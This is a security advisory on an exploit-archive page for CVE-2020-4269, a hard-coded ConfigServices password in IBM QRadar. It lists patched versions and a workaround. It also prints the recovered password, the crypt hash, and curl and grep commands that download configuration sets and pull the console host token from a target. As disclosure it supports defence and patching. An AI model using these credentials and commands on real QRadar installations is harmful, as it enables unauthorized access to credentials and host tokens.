

QRadar Community Edition 7.3.1.6 Default Credentials

Authored by Yorick Koster, Security B.V.

Posted Apr 21, 2020

QRadar Community Edition version 7.3.1.6 is deployed with a default password for the ConfigServices account. Using this default password it is possible to download configuration sets containing sensitive information, including (encrypted) credentials and host tokens. With these host tokens it is possible to access other parts of QRadar.

tags | exploit

advisories | CVE-2020-4269

SHA-256 | 7b24d2b362e3b645c36d7e340f45ee8ed555752f025a186acb8909e63ea7536d Download | Favorite | View

Related Files

Share This

Like Tweets LinkedIn Reddit Digg StumbleUpon

Change Mirror

Download

Unauthorized access to QRadar configuration sets via default password

Yorick Koster, September 2019

Abstract

QRadar is deployed with a default password for the ConfigServices account. Using this default password it is possible to download configuration sets containing sensitive information, including (encrypted) credentials and host tokens. With these host tokens it is possible to access other parts of QRadar.

See also

CVE-2020-4269 [2]
6189711 [3] - IBM QRadar SIEM contains hard-coded credentials (CVE-2020-4269)

Tested versions

This issue was successfully verified on QRadar Community Edition [4] version 7.3.1.6 (7.3.1 Build 20180723171558).

Fix

IBM has released the following versions of QRadar in which this issue has been resolved:

- QRadar / QRM / QVM / QNI 7.4.0 GA [5] (SFS)
- QRadar / QRM / QVM / QRIF / QNI 7.3.3 Patch 3 [6] (SFS)
- QRadar / QRM / QVM / QRIF / QNI 7.3.2 Patch 7 [7] (SFS)
- QRadar Incident Forensics 7.4.0 [8] (ISO)
- QRadar Incident Forensics 7.4.0 [9] (SFS)

As a workaround it is possible to remove or disable the configservices account in the file /opt/qradar/conf/users.conf.

Introduction

QRadar [10] is IBM's enterprise SIEM [11] solution. A free version of QRadar is available that is known as QRadar Community Edition [4]. This version is limited to 50 events per second and 5,000 network flows a minute, supports apps, but is based on a smaller footprint for non-enterprise use.

So-called configuration sets can be downloaded via the web interface. These sets are normally only accessible for the ConfigServices user. It was found that QRadar is deployed with a default password for the ConfigServices account. Using this default password it is possible to download configuration sets containing sensitive information, including (encrypted) credentials and host tokens. With these host tokens it is possible to access other parts of QRadar.

Details

The Apache configuration for the QRadar web interface contains a configuration alias that maps to the /store/configservices/configurationsets folder. This folder is protected with the mod_auth_file [12] Apache Module. The only user that is allowed through is the configservices user.

```
/etc/httpd/conf.d/configservices_httpd.conf:
Alias /configuration/store/configservices/configurationsets
<Directory /store/configservices/configurationsets>
    AuthType Basic
    AuthUserFile /opt/qradar/conf/users.conf
    AuthName "identification"
    Options Indexes Includes FollowSymLinks MultiViews ExecCGI
    AllowOverride All

    <Limit GET POST>
        require user configservices
    </Limit>
</Directory>
```

The password for this user is set in the file /opt/qradar/conf/users.conf. The password is protected with the crypt algorithm, the crypt password is the same for all QRadar installations.

```
/opt/qradar/conf/users.conf:
admin:null:ALL:root@localhost:Admin:
configservices:/wEPae8TzCqM:ALL::ConfigServices:
```

Cracking the crypt password quickly reveals that the corresponding password is qradar:

```
$ python -c 'import crypt; print(crypt.crypt("qradar", "/w"))'
/wEPae8TzCqM
```

With the found password it is now possible to download the configuration set from the web server:

```
$ curl --insecure --user configservices:qradar
https://<ip>/configuration/globalset_list.xml
```

It should be noted that the default password of the configservices user only works for the configuration alias as configured in Apache. Recent versions of QRadar still use the ConfigServices user in other parts of the web interface. These parts either use a random password (stored in PostgreSQL) or a so-called host token (via the SEC header or cookie). However, using the default password it is possible to retrieve the value of this host token and thus gain access to other parts of QRadar.

```
curl --insecure --user configservices:qradar -o
/tmp/zipfile_GEN.full.zip
https://<ip>/configuration/zipfile_GEN.full.zip
unzip -p /tmp/zipfile_GEN.full.zip /host_tokens.masterlist | grep
'CONSOLE_HOSTCONTEXT='
```

Limitations

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11security 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

File Archives

December 2022

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

Older

Systems

AIX (426)

Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,690)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

iOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

The users.conf configuration file is updated when changes are made to the user and or permission configuration of QRadar. The new users.conf is first written to staging and made effective when the changes to staging have been deployed. When this happens the password digest of the configservices user is overwritten with null effectively disabling the account. Consequently, on larger setups it is likely that changes have been made to the user/permission configuration and that the default password will no longer work.

```
com.qlabs.core.shared.permissions.UserManager:
public class UserManager extends SingletonSupport implements
IMessageListener {
[...]

    public void updateConfigurationFile() {
        String configRoot = NVARReader.getProperty("CONFIGSERVICES_ROOT");

        try {
            File target = new File(configRoot + STAGED_CONFIG_FILENAME);
            StringBuffer sb = new StringBuffer();
            List users = this.getStageUsers();
            Iterator var5 = users.iterator();

            while(var5.hasNext()) {
                User u = (User)var5.next();
                String networkNames = PermissionsManager.getNetworkNames(u);
                String userRoleName = PermissionsManager.getUserRoleName(u);
                String locale = u.getLocale() == null ? " " : u.getLocale();
                String tzzone = u.getTimezone() == null ? " " : u.getTimezone();
                sb.append(u.getUserName() + ":" + tzzone + ":" + networkNames + ":" + u.getEmail() + ":" + userRoleName + ":" + locale + ":" + tzzone + ":" + "\n");
            }

            FileIOUtils.safeWriteBuffer(target, sb);
        } catch (Exception var11) {
            this.log.error((Object) ("Can't save deployed " + TABLENAME + " to configuration file"),
                (Throwable) var11);
        }
    }
}
-----
References
-----
[1] https://www.securify.nl/advisory/SFY20200401/authorized-access-to-qradar-configuration-sets-via-default-password.html
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4269
[3] https://www.ibm.com/support/pages/node/6189711
[4] https://developer.ibm.com/qradar/ce/
[5] https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security%20product-ibm/Other+software/IBM+Security+QRadar+SIEM&release=7.4.0&platform=Linux&function=QRADAR-QRSIEM-20200304205308&includeRequisites=1&includeSupersedes=0&downloadMethod=http
[6] https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security%20product-ibm/Other+software/IBM+Security+QRadar+SIEM&release=7.3.0&platform=Linux&function=QRADAR-QRSIEM-20200409085709&includeRequisites=1&includeSupersedes=0&downloadMethod=http
[7] https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security%20product-ibm/Other+software/IBM+Security+QRadar+SIEM&release=7.3.0&platform=Linux&function=QRADAR-QRSIEM-20200406171249&includeRequisites=1&includeSupersedes=0&downloadMethod=http
[8] https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security%20product-ibm/Other+software/IBM+Security+QRadar+Incident+Forensics&release=7.4.0&platform=QRADAR-QIFFULL-2019.18.0.20200304205308&includeRequisites=1&includeSupersedes=0&downloadMethod=http
[9] https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security%20product-ibm/Other+software/IBM+Security+QRadar+Incident+Forensics&release=7.4.0&platform=QRADAR-QIFSPS-2019.18.0.20200304205308&includeRequisites=1&includeSupersedes=0&downloadMethod=http
[10] https://www.ibm.com/security/security-intelligence/qradar
[11] https://en.wikipedia.org/wiki/Security_information_and_event_management
[12] https://httpd.apache.org/docs/2.4/mod/mod_authn_file.html
```

←

Login or Register to add favorites

→

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (676)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

Site Links


News by Month
News Tags
Files by Month
File Tags
File Directory


About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed